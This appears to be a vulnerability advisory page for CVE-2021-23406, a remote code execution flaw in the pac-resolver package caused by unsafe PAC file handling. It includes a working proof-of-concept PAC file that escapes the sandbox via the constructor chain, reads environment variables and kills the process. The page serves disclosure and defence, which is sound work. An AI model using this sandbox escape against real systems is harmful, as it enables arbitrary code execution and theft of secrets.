Remote Code Execution (RCE)

Affecting org.webjars.npm:pac-resolver package, versions **[0,]**

INTRODUCED: 30 MAY 2021 CVE-2021-23406 CWE-94

Share

How to fix?

There is no fixed version for `org.webjars.npm:pac-resolver`.

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE). This can occur when used with untrusted input, due to unsafe PAC file handling.

In order to exploit this vulnerability in practice, this either requires an attacker on your local network, a specific vulnerable configuration, or some second vulnerability that allows an attacker to set your config values.

NOTE: The fix for this vulnerability is applied in the `node-degenerator` library, a dependency is written by the same maintainer.

PoC

```
const pac = require('pac-resolver'); // Should keep running forever (if not vulnerable): setInterval(() =>
{ console.log("Still running"); }, 1000); // Parsing a malicious PAC file unexpectedly executes
unsandboxed code: pac(` // Real PAC config: function FindProxyForURL(url, host) { return "DIRECT"; } //
But also run arbitrary code: var f = this.constructor.constructor(\` // Running outside the sandbox:
console.log(&#39;Read env vars:&#39;, process.env); console.log(&#39;!!! PAC file is running arbitrary
code !!!&#39;); console.log(&#39;Can read &amp; could exfiltrate env vars ^&#39;); console.log(&#39;Can
kill parsing process, like so:&#39;); process.exit(100); // Kill the vulnerable process // etc etc \`);
f();
```

References

- GitHub Commit #1
- GitHub Commit #2
- Github Release
- Researcher Blog

Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	High
Confidentiality	HIGH
Integrity	HIGH
Availability	HIGH

See more

NVD 9.8 CRITICAL

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning

Snyk ID	SNYK-JAVA-ORGWEBJARSNPM-1568506
Published	22 Aug 2021
Disclosed	30 May 2021
Credit	Tim Perry

Report a new vulnerability | Found a mistake?

RESOURCES

Vulnerability DB

Documentation

Disclosed Vulnerabilities

Blog

FAQs

COMPANY

About

Jobs

Contact

Policies

Do Not Sell My Personal Information

CONTACT US

Support

Report a new vuln

Press Kit

Events

FIND US ONLINE

TRACK OUR DEVELOPMENT

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.